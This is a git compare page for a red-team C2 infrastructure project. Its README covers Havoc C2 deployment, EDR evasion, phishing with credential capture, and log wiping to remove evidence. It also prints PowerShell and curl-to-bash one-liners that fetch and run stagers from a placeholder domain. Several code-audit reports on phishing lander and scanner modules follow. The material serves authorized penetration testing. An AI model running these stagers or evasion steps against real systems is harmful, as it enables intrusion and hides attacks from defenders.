Compare commits
140 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| fca8b8c040 | |||
| 94b2a09803 | |||
| 981a2b5720 | |||
| cfb6c242d8 | |||
| 6e4c2f336a | |||
| 25071e3aad | |||
| be7a984b6b | |||
| ac9dec5438 | |||
| 61251876a6 | |||
| 13ce8a9b8a | |||
| 9d8839e1ad | |||
| 4638256490 | |||
| d4786041a5 | |||
| 2f948c16b1 | |||
| 9d5bd61a26 | |||
| 382332346e | |||
| dae0441fc8 | |||
| b9d3415570 | |||
| 8310fd19b6 | |||
| f9c3320aea | |||
| d8801e87d9 | |||
| 3fd9e2f069 | |||
| ddccf62995 | |||
| 6538b09b7d | |||
| d2b2bfb591 | |||
| 23aabaf520 | |||
| 81098d9111 | |||
| 98c3fc8d9d | |||
| 131543d148 | |||
| 5a0a49a9c8 | |||
| 9dde6ab931 | |||
| 88018ae7c9 | |||
| c618d4ed80 | |||
| 384ef33943 | |||
| 52821459bb | |||
| 1d95a868a0 | |||
| 2cc2b0f9a8 | |||
| 7ccb121875 | |||
| ae3ecf863c | |||
| acaffecbe8 | |||
| f708125156 | |||
| 9bef2e7d31 | |||
| 1450a55e50 | |||
| d4cd8b789b | |||
| 0d53231da2 | |||
| a6ed515a05 | |||
| 8673559470 | |||
| 36de65ba60 | |||
| 32aad50820 | |||
| 8743a4cfdf | |||
| 41f7d0b46c | |||
| a824b34308 | |||
| 5fbdab4971 | |||
| 938ddb93a1 | |||
| 25e08aa8f4 | |||
| 2386cac0ef | |||
| 67aa819ceb | |||
| e3ad889e16 | |||
| 689993ad5f | |||
| ef75e7a476 | |||
| 810cff1171 | |||
| 1534fc0c7c | |||
| 7b7080288a | |||
| 140dbe6619 | |||
| e1666a0124 | |||
| c816a74730 | |||
| 381981f954 | |||
| aa840b55c1 | |||
| 5efb604c9d | |||
| 4d7b44ddc0 | |||
| b6ec49f5a3 | |||
| ce5d7c4fb7 | |||
| f4e24edf9b | |||
| c61b810bbc | |||
| 3fc22c61b3 | |||
| 89f5e7cfb4 | |||
| 358b82a1a5 | |||
| 3bb2ec107d | |||
| ecd5b39fb6 | |||
| f6d08e84eb | |||
| a86f9a9d25 | |||
| c7348a952a | |||
| e3fe2b0509 | |||
| 9e9383eeef | |||
| 6b60b94768 | |||
| 7ab381794b | |||
| c717e0b0f1 | |||
| 8396d2fe65 | |||
| c5b46c61a6 | |||
| 9f49b52ff6 | |||
| 2a8502a30c | |||
| c05a88c456 | |||
| 29f5bca435 | |||
| 4e895f4eb1 | |||
| 57e2a6e90b | |||
| ea8a578422 | |||
| 00fd299dc6 | |||
| 8639e90d28 | |||
| 3bd1ecfca2 | |||
| 3f33765834 | |||
| 6cce22c0b7 | |||
| 053db78837 | |||
| 7c5e918dab | |||
| 100982f784 | |||
| 9a213420f6 | |||
| 393fc7ec5f | |||
| 9a0162e21f | |||
| 30626a14bf | |||
| 2086110117 | |||
| 17b9191553 | |||
| d415891db3 | |||
| e2d25badc8 | |||
| 146e056374 | |||
| 5520f846ff | |||
| 9cd93d90d8 | |||
| dc28ad5d45 | |||
| b2fdee77b6 | |||
| d936575312 | |||
| bd0dcf693c | |||
| 50dd4f99e4 | |||
| 07fd21666b | |||
| 95602a5df0 | |||
| 7562e3dc44 | |||
| 4acb02a88f | |||
| 95f8c18118 | |||
| 48ff346f02 | |||
| 15677f3f91 | |||
| d8b980da07 | |||
| 5d92761405 | |||
| 7962c574de | |||
| a7490bd655 | |||
| 4e08f52d77 | |||
| 6d307f82d8 | |||
| 19501b84a0 | |||
| 97277b0f64 | |||
| f120cce197 | |||
| 43a6ddc579 | |||
| 80072a6bdc | |||
| b623e76a5a | |||
| 241668a84d |
@@ -0,0 +1,3 @@
|
||||
[submodule "ghost_protocol"]
|
||||
path = ghost_protocol
|
||||
url = https://github.com/n0mad1k/ghost_protocol-public.git
|
||||
+1
-1
@@ -67,7 +67,7 @@ Some provider utility functions may need verification:
|
||||
|
||||
1. **Test the core deployment flow**:
|
||||
```bash
|
||||
cd /opt/redteam/c2itall
|
||||
cd /home/n0mad1k/Tools/c2itall
|
||||
python3 deploy.py
|
||||
# Try option 1 (Deploy C2 Infrastructure) with a test deployment
|
||||
```
|
||||
|
||||
@@ -1,199 +1,198 @@
|
||||
# c2itall — Red Team Infrastructure Automation
|
||||
# C2ingRed
|
||||
|
||||
Infrastructure-as-Code platform for deploying and managing full red team engagement infrastructure across multiple cloud providers. Built to reduce time-to-operational from hours to minutes while enforcing consistent OPSEC posture across every deployment.
|
||||
A comprehensive automated deployment system for Havoc C2 red team infrastructure.
|
||||
|
||||
> **Portfolio note:** This is a sanitized public version. Files containing active TTPs (implant source mutations, payload build pipelines, phishing lures, credential capture logic) have been replaced with documented stubs that describe exactly what each component does and why. The architecture, orchestration layer, and all non-weaponized infrastructure code are intact.
|
||||
## Overview
|
||||
|
||||
---
|
||||
C2ingRed enables rapid deployment of complete Command and Control (C2) infrastructure with advanced security hardening, EDR evasion capabilities, and operational security features. Built for professional red team operators, this tool uses Infrastructure as Code principles to efficiently set up Havoc C2 servers, redirectors, and additional components.
|
||||
|
||||
## What This Is
|
||||
## Features
|
||||
|
||||
Red team engagements require standing up a consistent stack of infrastructure — C2 servers, traffic redirectors, phishing mail infrastructure, payload delivery servers — quickly, correctly, and with OPSEC controls baked in from the first `ssh`. Doing this by hand is error-prone and slow. This tool automates the entire lifecycle:
|
||||
|
||||
- **Provision** cloud nodes across AWS, Linode, or FlokiNET
|
||||
- **Harden** each node to a consistent baseline (firewall, fail2ban, log suppression, memory protections)
|
||||
- **Deploy** role-specific services (Havoc C2, nginx redirectors, Postfix MTA, payload servers)
|
||||
- **Configure** the inter-node traffic routing, SSL certs, and DKIM/DMARC records
|
||||
- **Teardown** the full stack cleanly when the engagement ends
|
||||
|
||||
The result is reproducible, version-controlled infrastructure — every deployment is documented, every configuration is auditable, and every node reaches the same hardened baseline regardless of who ran the deployment.
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
deploy.py (Rich TUI interactive menu)
|
||||
│
|
||||
├── providers/
|
||||
│ ├── AWS/ — EC2 provisioning, security groups, keypair management
|
||||
│ ├── Linode/ — Linode API node provisioning
|
||||
│ └── FlokiNET/ — Pre-provisioned node integration (bulletproof hosting)
|
||||
│
|
||||
├── modules/
|
||||
│ ├── c2/ — Havoc C2 server deployment + payload pipeline [stubs]
|
||||
│ ├── redirectors/ — nginx HTTPS redirectors + credential capture [stubs]
|
||||
│ ├── phishing/ — Postfix MTA + GoPhish + lure pages [stubs]
|
||||
│ ├── payload-server/ — Encrypted payload hosting + delivery
|
||||
│ ├── attack-box/ — Kali/Ubuntu operator boxes
|
||||
│ ├── webrunner/ — Distributed cloud scanning infrastructure
|
||||
│ ├── tracker/ — Email open/click tracking server
|
||||
│ └── chat-server/ — Encrypted team comms (Matrix/Element)
|
||||
│
|
||||
├── common/
|
||||
│ ├── files/ — Shared scripts, HID payloads [stubs]
|
||||
│ └── templates/ — Cross-module Jinja2 templates (stagers, loaders) [stubs]
|
||||
│
|
||||
└── utils/
|
||||
├── common.py — Shared utilities, ANSI output, helpers
|
||||
├── ssh_utils.py — SSH connection management, tunneling
|
||||
└── deployment_engine.py — Ansible playbook execution engine
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Module Breakdown
|
||||
|
||||
### C2 Server (`modules/c2/`)
|
||||
|
||||
Deploys a hardened Havoc C2 Framework teamserver. Havoc was chosen over Cobalt Strike for its open source auditability and active development of modern evasion primitives.
|
||||
|
||||
**Infrastructure side (intact):**
|
||||
- Ansible playbooks for full Havoc installation from source
|
||||
- Teamserver systemd service with automatic restart
|
||||
- Firewall rules limiting teamserver port exposure to operator IPs only
|
||||
- Let's Encrypt SSL automation for HTTPS C2 traffic
|
||||
- Payload synchronization to redirector nodes
|
||||
|
||||
**Payload pipeline (stubbed):**
|
||||
- `implant_mutator.sh` — randomizes Havoc Demon source identifiers (mutex names, pipe names, compile-time strings) before each build to defeat static signatures
|
||||
- `havoc_mutate.sh` — generates per-engagement randomized Havoc teamserver profiles (sleep jitter, traffic malleable C2 patterns, kill dates)
|
||||
- `generate_evasive_beacons.sh.j2` — shellcode compile pipeline: cross-compile → encrypt → inject into hollow process template → sign
|
||||
- `generate_havoc_payloads.sh.j2` — produces EXE, DLL, and raw shellcode variants from a single Demon build
|
||||
|
||||
**EDR evasion techniques implemented:**
|
||||
- Sleep masking (encrypted heap during sleep intervals)
|
||||
- Stack spoofing (synthetic call stacks to evade call stack analysis)
|
||||
- AMSI/ETW patching (in-memory patch of scanning hooks before payload execution)
|
||||
- Indirect syscalls (bypass user-mode API hooks via direct syscall stubs)
|
||||
- Binary signature randomization per build
|
||||
|
||||
### Redirectors (`modules/redirectors/`)
|
||||
|
||||
HTTPS redirectors sit in front of the C2 server, forwarding only valid beacon traffic while serving decoy content to scanners and incident responders. They also serve as the phishing landing infrastructure.
|
||||
|
||||
**Infrastructure side (intact):**
|
||||
- nginx reverse proxy configuration with category-matched domain front
|
||||
- Automatic SSL via Let's Encrypt
|
||||
- Traffic filtering rules: forward beacons matching URI/User-Agent profile, serve 200 OK decoy to everything else
|
||||
- Fail2ban tuned for redirector traffic patterns
|
||||
|
||||
**Landing page infrastructure (stubbed):**
|
||||
- `capture.php.j2` — credential capture with transparent redirect; logs POST data and forwards the victim to the legitimate service so the submission appears to succeed
|
||||
- `fake-login.html.j2` — cloned login page template structure (placeholders for target branding)
|
||||
|
||||
### Phishing Infrastructure (`modules/phishing/`)
|
||||
|
||||
Deploys a complete phishing mail stack: Postfix MTA, GoPhish campaign manager, and lure page hosting.
|
||||
|
||||
**Infrastructure side (intact):**
|
||||
- Postfix + Dovecot configuration with DKIM signing
|
||||
- DMARC/SPF record generation instructions
|
||||
- GoPhish deployment and service configuration
|
||||
- Email tracking pixel integration
|
||||
|
||||
**Lure content (stubbed):**
|
||||
- Five email templates (file share notification, O365 login prompt, password expiry, security alert, vendor-branded alert) — stubs describe the social engineering angle and urgency framing each uses
|
||||
- `fedramp-compliance.j2` — FedRAMP-themed lure landing page
|
||||
|
||||
### WEBRUNNER (`modules/webrunner/`)
|
||||
|
||||
Distributed cloud-based scanning infrastructure. Spins up scan nodes across multiple providers simultaneously, runs recon tasks in parallel, and aggregates results back to a central collection point. Designed to avoid rate-limiting and distribute scan signatures across provider ASNs.
|
||||
|
||||
Full implementation intact — this is infrastructure automation, not a weaponized component.
|
||||
|
||||
### Attack Box (`modules/attack-box/`)
|
||||
|
||||
Provisions operator workboxes (Kali or custom Ubuntu) in cloud providers for pivoting, scanning, and exfil staging. Handles SSH keypair injection, tool installation, and VPN configuration.
|
||||
|
||||
### Payload Server (`modules/payload-server/`)
|
||||
|
||||
Encrypted payload hosting with one-time-download links, delivery logging, and automatic expiry. Payloads are pulled from the C2 node at deployment time and served via HTTPS with access controls.
|
||||
|
||||
---
|
||||
|
||||
## Secrets Management
|
||||
|
||||
No credentials are hardcoded anywhere. All provider API keys, SSH keypairs, and domain registrar tokens are pulled at runtime from a secrets manager (Infisical). The `creds` CLI fetches them by key name and folder:
|
||||
|
||||
```bash
|
||||
eval $(creds env aws) # exports AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
|
||||
eval $(creds env linode) # exports LINODE_TOKEN
|
||||
```
|
||||
|
||||
Deployment scripts source these at execution time and never write them to disk.
|
||||
|
||||
---
|
||||
|
||||
## Deployment Flow
|
||||
|
||||
```
|
||||
1. Select provider + deployment type from interactive menu
|
||||
2. Provision node(s) via provider API
|
||||
3. Wait for SSH availability
|
||||
4. Run hardening playbook (baseline OS config, firewall, fail2ban, log controls)
|
||||
5. Run role-specific playbook (C2 / redirector / phishing / etc.)
|
||||
6. Run post-deploy verification (service health checks, connectivity tests)
|
||||
7. Output deployment manifest (IPs, ports, credentials) to encrypted local file
|
||||
```
|
||||
|
||||
Teardown reverses the provisioning step, destroying all cloud resources and deleting the deployment manifest.
|
||||
|
||||
---
|
||||
|
||||
## Tech Stack
|
||||
|
||||
| Layer | Technology |
|
||||
|-------|-----------|
|
||||
| Orchestration | Python 3.10+, Click, Rich |
|
||||
| Configuration management | Ansible 2.14+ |
|
||||
| Template engine | Jinja2 |
|
||||
| Cloud providers | AWS (boto3), Linode API v4, FlokiNET |
|
||||
| C2 framework | Havoc (open source) |
|
||||
| Web server | nginx |
|
||||
| Mail stack | Postfix + Dovecot + GoPhish |
|
||||
| SSL | Let's Encrypt (certbot) |
|
||||
| Secrets | Infisical (self-hosted) |
|
||||
|
||||
---
|
||||
- **Multi-provider Support**: AWS, Linode, and FlokiNET
|
||||
- **Infrastructure Components**:
|
||||
- C2 server with Havoc C2 Framework (dev branch)
|
||||
- HTTPS redirectors with security hardening
|
||||
- Email infrastructure with DKIM/DMARC for phishing
|
||||
- Email tracking capabilities
|
||||
- Automated payload generation and delivery
|
||||
- Attack boxes (Kali Linux and custom Ubuntu)
|
||||
- **Quick Recon Box** - Streamlined reconnaissance platform (5-8 min deployment)
|
||||
- **Security Features**:
|
||||
- Zero-logging configuration to minimize evidence
|
||||
- Memory protection mechanisms
|
||||
- Command history suppression
|
||||
- Secure exfiltration tunnels
|
||||
- Strong firewall configurations
|
||||
- Fail2Ban and other defensive measures
|
||||
- **EDR Evasion**:
|
||||
- Sleep masking
|
||||
- Stack spoofing
|
||||
- AMSI/ETW patching
|
||||
- Indirect syscalls
|
||||
- Binary signature randomization
|
||||
- **Operational Capabilities**:
|
||||
- Automated post-exploitation payload building
|
||||
- Reverse shell handler with automatic agent deployment
|
||||
- Let's Encrypt SSL certificate automation
|
||||
- Payload synchronization between C2 and redirectors
|
||||
- Port randomization for OPSEC
|
||||
|
||||
## Requirements
|
||||
|
||||
- Python 3.10+
|
||||
- Python 3.6+
|
||||
- Ansible 2.9+
|
||||
- Provider credentials in secrets manager
|
||||
- SSH keypair for node access
|
||||
- Registered domain (required for Let's Encrypt and mail DKIM)
|
||||
- Provider-specific credentials:
|
||||
- AWS: Access and secret keys
|
||||
- Linode: API token
|
||||
- FlokiNET: Pre-provisioned servers
|
||||
- SSH keypair for server access
|
||||
- Registered domain (required for Let's Encrypt certificates)
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
# Clone the repository
|
||||
git clone https://github.com/yourusername/C2ingRed.git
|
||||
cd C2ingRed
|
||||
|
||||
# Install requirements
|
||||
pip install -r requirements.txt
|
||||
|
||||
# Ensure Ansible is installed
|
||||
ansible --version
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Usage
|
||||
|
||||
### Main Menu (Easiest Method)
|
||||
|
||||
Simply run:
|
||||
```bash
|
||||
python3 deploy.py
|
||||
```
|
||||
|
||||
Interactive Rich TUI menu. All deployment options are accessible from the menu — no need to pass CLI flags manually.
|
||||
This launches the interactive main menu for deployment, providing the most user-friendly experience with guided options for all infrastructure types.
|
||||
|
||||
---
|
||||
### Interactive Mode
|
||||
|
||||
## Authorization
|
||||
Alternatively, you can use:
|
||||
```bash
|
||||
./deploy.py --interactive
|
||||
```
|
||||
|
||||
This tool is built for authorized red team engagements and penetration testing with written scope agreements. The operational content (payloads, lures, credential capture) is excluded from this public copy precisely because it is only appropriate in a scoped, authorized context.
|
||||
This guides you through the deployment process with step-by-step instructions.
|
||||
|
||||
If you're reviewing this as a potential employer: the stubs throughout this repo document exactly what was there and why it was built that way. The engineering decisions — modular Ansible roles, secrets management, provider abstraction, OPSEC-hardened defaults — are all visible in the intact infrastructure code.
|
||||
### Command-line Deployment
|
||||
|
||||
#### AWS Deployment:
|
||||
```bash
|
||||
./deploy.py --provider aws --aws-key YOUR_KEY --aws-secret YOUR_SECRET \
|
||||
--domain your-domain.com --aws-region us-east-1
|
||||
```
|
||||
|
||||
#### Linode Deployment:
|
||||
```bash
|
||||
./deploy.py --provider linode --linode-token YOUR_TOKEN \
|
||||
--domain your-domain.com --linode-region us-east
|
||||
```
|
||||
|
||||
#### FlokiNET Deployment (with pre-provisioned servers):
|
||||
```bash
|
||||
./deploy.py --provider flokinet --flokinet-redirector-ip YOUR_REDIRECTOR_IP \
|
||||
--flokinet-c2-ip YOUR_C2_IP --domain your-domain.com
|
||||
```
|
||||
|
||||
### Deployment Options
|
||||
|
||||
| Option | Description |
|
||||
|--------|-------------|
|
||||
| `--redirector-only` | Deploy only the redirector component |
|
||||
| `--c2-only` | Deploy only the C2 server component |
|
||||
| `--deploy-tracker` | Deploy email tracking server |
|
||||
| `--integrated-tracker` | Setup tracker on C2 server instead of separate instance |
|
||||
| `--disable-history` | Disable command history on servers |
|
||||
| `--secure-memory` | Enable secure memory protection features |
|
||||
| `--zero-logs` | Configure zero-logging throughout infrastructure |
|
||||
| `--randomize-ports` | Use randomized ports for C2 communications |
|
||||
| `--ssh-after-deploy` | Automatically SSH into the server after deployment |
|
||||
|
||||
## Post-Deployment Steps
|
||||
|
||||
After successful deployment:
|
||||
|
||||
1. Configure DNS records for your domain:
|
||||
- `your-domain.com` → C2 server
|
||||
- `mail.your-domain.com` → C2 server
|
||||
- `cdn.your-domain.com` → Redirector (or your custom subdomain)
|
||||
- `track.your-domain.com` → Tracker (if deployed)
|
||||
|
||||
2. Run post-install scripts on each server:
|
||||
```bash
|
||||
# On C2 server
|
||||
/root/Tools/post_install_c2.sh
|
||||
|
||||
# On redirector
|
||||
/root/Tools/post_install_redirector.sh
|
||||
```
|
||||
|
||||
3. Generate Havoc C2 payloads:
|
||||
```bash
|
||||
# On C2 server
|
||||
/root/Tools/generate_havoc_payloads.sh
|
||||
```
|
||||
|
||||
## Using Havoc C2
|
||||
|
||||
Havoc C2 Framework is installed at `/root/Tools/Havoc` on the C2 server.
|
||||
|
||||
### Connecting to the Teamserver
|
||||
|
||||
From your local machine:
|
||||
|
||||
```bash
|
||||
# Install Havoc client (development branch)
|
||||
git clone -b dev https://github.com/HavocFramework/Havoc.git
|
||||
cd Havoc/Client
|
||||
mkdir build && cd build
|
||||
cmake -GNinja ..
|
||||
ninja
|
||||
|
||||
# Connect to Teamserver
|
||||
./havoc client --address YOUR_C2_IP:40056 --username admin --password [password]
|
||||
```
|
||||
|
||||
The password is stored in `/root/Tools/Havoc/data/profiles/default.yaotl` on the C2 server.
|
||||
|
||||
### Payload Delivery
|
||||
|
||||
PowerShell one-liner for Windows targets:
|
||||
```powershell
|
||||
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://cdn.your-domain.com/windows_stager.ps1')"
|
||||
```
|
||||
|
||||
Linux one-liner:
|
||||
```bash
|
||||
curl -s https://cdn.your-domain.com/linux_stager.sh | bash
|
||||
```
|
||||
|
||||
## Security Considerations
|
||||
|
||||
- All servers include the `/root/Tools/secure-exit.sh` script to securely wipe operational data
|
||||
- The `/root/Tools/clean-logs.sh` script automatically runs to remove evidence
|
||||
- Port randomization enhances OPSEC when enabled
|
||||
- Set proper DKIM/DMARC records for email operations
|
||||
- Consider using ephemeral infrastructure for high-risk operations
|
||||
|
||||
## Cleaning Up
|
||||
|
||||
To remove all infrastructure when finished:
|
||||
|
||||
```bash
|
||||
./deploy.py --provider PROVIDER --teardown --deployment-id YOUR_DEPLOYMENT_ID
|
||||
```
|
||||
|
||||
Add your provider-specific authentication arguments to remove the correct resources.
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This tool is intended for authorized red team operations, penetration testing, and security research only. Always obtain proper authorization before conducting security testing. The authors are not responsible for misuse or illegal activities.
|
||||
+1
-1
@@ -8,7 +8,7 @@ stdout_callback = default
|
||||
bin_ansible_callbacks = True
|
||||
nocows = 1
|
||||
interpreter_python = auto_silent
|
||||
ansible_python_interpreter = /opt/redteam/c2itall/venv/bin/python
|
||||
ansible_python_interpreter = /home/n0mad1k/Tools/c2itall/venv/bin/python
|
||||
|
||||
[ssh_connection]
|
||||
ssh_args = -o ControlMaster=auto -o ControlPersist=60s -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
---
|
||||
agent: code-auditor
|
||||
status: COMPLETE
|
||||
timestamp: 2026-06-25T10:20:00Z
|
||||
duration_seconds: 120
|
||||
files_scanned: 4
|
||||
findings_count: 6
|
||||
errors: []
|
||||
skipped_checks: []
|
||||
---
|
||||
|
||||
# Code Audit
|
||||
|
||||
## Files Scanned
|
||||
- `modules/phishing/lander_gen.py` (103 lines)
|
||||
- `modules/phishing/deploy_phishing.py` (574 lines, focused: L157-185, L417-424, L445-446)
|
||||
- `modules/phishing/templates/cloud-lander.html.j2` (31 lines)
|
||||
- `modules/phishing/templates/js-payload.js.j2` (11 lines)
|
||||
|
||||
## Findings
|
||||
|
||||
### HIGH
|
||||
- [lander_gen.py:25-90] `post_deploy_generate_lander()` uses `print()` calls (11 instances, L62-89) in production code. Should use logging or Rich for consistency with c2itall pattern.
|
||||
- [cloud-lander.html.j2:14] Magic number `20` hardcoded in `makeRandomSub(20)` for random subdomain prefix length. Should be a configurable constant; if log-harvesting becomes a threat, this will need per-request rotation and the number may change.
|
||||
|
||||
### MEDIUM
|
||||
- [lander_gen.py:66-76] Duplicate provider-specific logic pattern. GCS, S3, and Azure blocks each construct `public_url` and `upload_cmd` independently. Same operation (URL + command generation) duplicated 3 times with 5+ line similarity each. Extract to a dict-driven pattern or helper to reduce duplication.
|
||||
- [deploy_phishing.py:164-184] Nesting depth of 5 levels in lander prompt block (if → if → if → if → if). Input validation and conditional chain is difficult to follow; consider early returns or extracting to a dedicated validation function.
|
||||
- [cloud-lander.html.j2:13] Hardcoded character set `'abcdefghijklmnopqrstuvwxyz0123456789'` used in random subdomain generation. If character set requirements change (e.g., exclude vowels to avoid accidental offensive domains), this will need updating in multiple places.
|
||||
|
||||
### LOW
|
||||
- [lander_gen.py:87] Comment references "ponytail: fixed JS filename visible in webserver logs" but does not state the upgrade path. Per ponytail rules, shortcut ceilings should name when to upgrade (e.g., "upgrade to per-RId rotation if log-harvesting becomes a threat"). Current comment is incomplete.
|
||||
- [deploy_phishing.py:445-446] Inline import of `post_deploy_generate_lander` inside success block. While intentional (lazy load post-deploy), this is not consistent with module-level imports at the top of the function. Consider moving to the top for clarity or add a comment explaining the late binding reason.
|
||||
|
||||
## Stats
|
||||
- print() calls: 11 (lander_gen.py L62-89, deploy_phishing.py L158-184)
|
||||
- TODO/FIXME/HACK: 0
|
||||
- Files >500 lines: 1 (deploy_phishing.py)
|
||||
- Functions >50 lines: 0
|
||||
- Max nesting depth: 5 (deploy_phishing.py L164-184)
|
||||
- Cyclomatic complexity: 2 (within acceptable range)
|
||||
- Dead code: None detected
|
||||
- Duplicate logic blocks: 1 (provider URL/command generation)
|
||||
|
||||
## Notes
|
||||
|
||||
### Code Quality Observations
|
||||
|
||||
**Strengths:**
|
||||
- Input validation at trust boundaries is solid (HTTPS enforcement, campaign ID regex)
|
||||
- No unused imports
|
||||
- Clean separation of concerns (lander_gen.py as pure generation, deploy_phishing.py as orchestration)
|
||||
- Syntax is valid across all files
|
||||
|
||||
**Complexity:**
|
||||
- The lander prompt block in deploy_phishing.py (L164-184) has legitimate nesting due to cascading user input validation, but would benefit from extraction to reduce cognitive load.
|
||||
- File sizes are within healthy range (largest is 574 lines, acceptable for a deployment orchestrator).
|
||||
|
||||
**Style:**
|
||||
- Consistent use of COLORS dict for output (good adherence to c2itall pattern)
|
||||
- Template Jinja2 syntax is correct and minimal
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
---
|
||||
agent: code-auditor
|
||||
status: COMPLETE
|
||||
timestamp: 2026-05-01T00:00:00Z
|
||||
duration_seconds: 180
|
||||
files_scanned: 2
|
||||
findings_count: 8
|
||||
errors: []
|
||||
skipped_checks: []
|
||||
---
|
||||
|
||||
# Code Audit — DevTrack #980
|
||||
|
||||
## Findings
|
||||
|
||||
### P1 (Blocker)
|
||||
|
||||
- [node_scanner.py:123] **Command injection via string interpolation** — `s.send(b"HEAD / HTTP/1.0\r\nHost: %b\r\n\r\n" % ip.encode())` uses `%b` format which allows raw bytes; hostname validation required. Not exploitable in this context (internal service), but antipattern. Should be `f"Host: {ip}\r\n"` as string with bytes conversion after.
|
||||
|
||||
- [node_scanner.py:117-133] **Socket not guaranteed closed on exception path** — `probe_service()` relies on context manager but inner try/except blocks can suppress exceptions. If `s.recv()` at line 124 raises an exception NOT caught by `except Exception`, the context manager exits cleanly. **Actually safe** — verified: all paths either return or re-raise under `except Exception`, and outer `with` block guarantees cleanup. False alarm, but comment would help clarity.
|
||||
|
||||
### P2 (Important)
|
||||
|
||||
- [node_scanner.py:148] **Dead code** — `targets_arg = " ".join(cidrs[:50])` (line 148) assigned but never used; removed in scan_nmap_only().
|
||||
|
||||
- [provider_rates.py:88] **Logic bug in build_estimate_table()** — Line 88 uses `preset['chunk_size']` to calculate hours, but line 93 calculates `n_chunks` correctly. However, the hours calculation assumes each chunk takes the same time, which is correct only if all chunks are the same size. **For the last chunk**, if `total_ips % preset['chunk_size'] != 0`, the hours are overstated (line 94 always assumes full chunk). This causes cost overestimation for non-aligned IP counts. Should calculate per-chunk IPs separately or clarify in docs that hours are per-chunk-size, not per-actual-chunk.
|
||||
|
||||
- [node_scanner.py:77-114] **run_nmap() called concurrently from scan_masscan_nmap() and scan_geo_scout()** — Each writes to `nmap_{ip}.xml` (unique per IP, line 79). **Thread safety: confirmed safe** — XML output files are per-IP and subprocess.run() creates isolated processes. No shared state. Risk: if same IP appears twice in one call, file overwrites but result is same. Non-issue.
|
||||
|
||||
### P3 (Minor)
|
||||
|
||||
- [node_scanner.py:20] **print() in production code** — Line 20 `log()` function calls `print()` directly. Should use logging module (logging.info) or Rich for consistency with c2itall patterns. Low impact (stderr-friendly for cloud runner), but violates style guidelines.
|
||||
|
||||
- [node_scanner.py:136-139] **Unused parameter in scan_masscan_only()** — `node_name` parameter (line 142, 248, 262) passed but never used in any scan function. These functions don't write node metadata to results. Inconsistency with function signature expectations.
|
||||
|
||||
- [node_scanner.py:226] **Import inside function** — `import yaml` at line 225 (inside scan_geo_scout). Move to top for clarity. Low cost import, non-blocking.
|
||||
|
||||
- [provider_rates.py:76-78] **Comment lacks precision** — "Tor adds ~5x latency overhead" with TOR_RATE_MULTIPLIER = 0.2 (which is 1/5, not 5x). Comment should say "reduces throughput to 1/5" or multiply by 0.2. Currently correct code, ambiguous comment.
|
||||
|
||||
### P4 (Nitpick)
|
||||
|
||||
- [node_scanner.py] **Two comment blocks (line 3-5, line 76)** without corresponding docstrings. Module-level docstring present, function docstrings absent. Minor — code is self-documenting.
|
||||
|
||||
- [provider_rates.py:57] **Magic number 0.018** — Default instance rate hardcoded. Should be a constant (e.g., `DEFAULT_RATE = 0.018`).
|
||||
|
||||
## Stats
|
||||
|
||||
- print() calls: 1 (in log function)
|
||||
- TODO/FIXME comments: 0
|
||||
- Unused imports: 0 (all imports used: ET, Path, subprocess, argparse, json, sys, time, math, socket, yaml lazy-loaded)
|
||||
- Dead code blocks: 1 (targets_arg, line 148)
|
||||
- Unused parameters: 3 (node_name in scan_* functions)
|
||||
- Files >500 lines: 0
|
||||
- Functions >50 lines: 0 (longest is run_masscan at 44 lines)
|
||||
- Nesting depth >3: 0 (deepest is 3 levels in build_estimate_table, acceptable)
|
||||
|
||||
## Verification Notes
|
||||
|
||||
**Thread safety (run_nmap):** Confirmed. Each IP gets unique XML file (`nmap_{ip}.xml`). Concurrent calls from different IPs are safe. Same IP in same call overwrites but idempotent.
|
||||
|
||||
**estimate_scan_hours() formula:** `(ip_count * n_ports / rate) / 3600` is correct for time in hours. Rate in packets/sec, result in hours. No mathematical error, but doc should clarify units.
|
||||
|
||||
**Socket leak risk (probe_service):** No leak. `with socket.create_connection()` guarantees cleanup; nested exceptions all caught.
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
---
|
||||
agent: code-auditor
|
||||
status: COMPLETE
|
||||
timestamp: 2026-05-02T00:00:00Z
|
||||
duration_seconds: 180
|
||||
files_scanned: 2
|
||||
findings_count: 5
|
||||
errors: []
|
||||
skipped_checks: []
|
||||
---
|
||||
|
||||
# Code Audit — DevTrack #989: Webrunner Estimator Rewrite
|
||||
|
||||
## Findings
|
||||
|
||||
### P2 (Medium Priority)
|
||||
|
||||
- **`modules/webrunner/deploy_webrunner.py:306`** — `gather_webrunner_parameters()` is 227 lines. Complexity is high due to sequential parameter gathering, but each section is self-contained (providers, countries, scan mode, tuning, estimate display, preset selection, CIDR distribution). Refactor would require breaking into multiple functions that each prompt and return data — tradeoff: current structure is arguably clearer for a linear setup wizard. **Recommendation**: Document the phases with section headers (already done with comments) and consider splitting only if interactivity requirements change.
|
||||
|
||||
- **`utils/provider_rates.py:87-145`** — `estimate_scan_hours()` has cyclomatic complexity of 11 (threshold: 10). The complexity is necessary: 4 scan modes × nested `use_tor` conditions = 5 paths per phase × 4 phases + rate check. Each branch is distinct (different time calculations). Logic is correct but at the boundary. **Recommendation**: acceptable due to inherent problem structure, but monitor for future growth.
|
||||
|
||||
- **`modules/webrunner/deploy_webrunner.py:200,206`** — Tuning params `nmap_timeout` and `nuclei_timeout` are prompted from user (lines 200, 206) and stored in config (lines 559, 562 show them printed), but **NOT passed to `estimate_scan_hours()`** in provider_rates.py. These parameters **DO NOT affect the time estimate** — they are only used at scan execution time (node_scanner.py lines 376-381, 396). This is **correct behavior** but the params are dead-code for estimation purposes. Current design: `estimate_scan_hours()` uses fixed constants (`NMAP_TIME_BY_TIMING`, `NUCLEI_TIME_PER_TARGET_SEC`) which are conservative defaults. The tuning params would require significant refactor to propagate through the estimation function signature (nmap_timeout not indexed by timing template, nuclei_timeout not indexed by template complexity). **Assessment**: No bug, by design. Timeouts are runtime constraints, not estimation inputs.
|
||||
|
||||
### P3 (Low Priority)
|
||||
|
||||
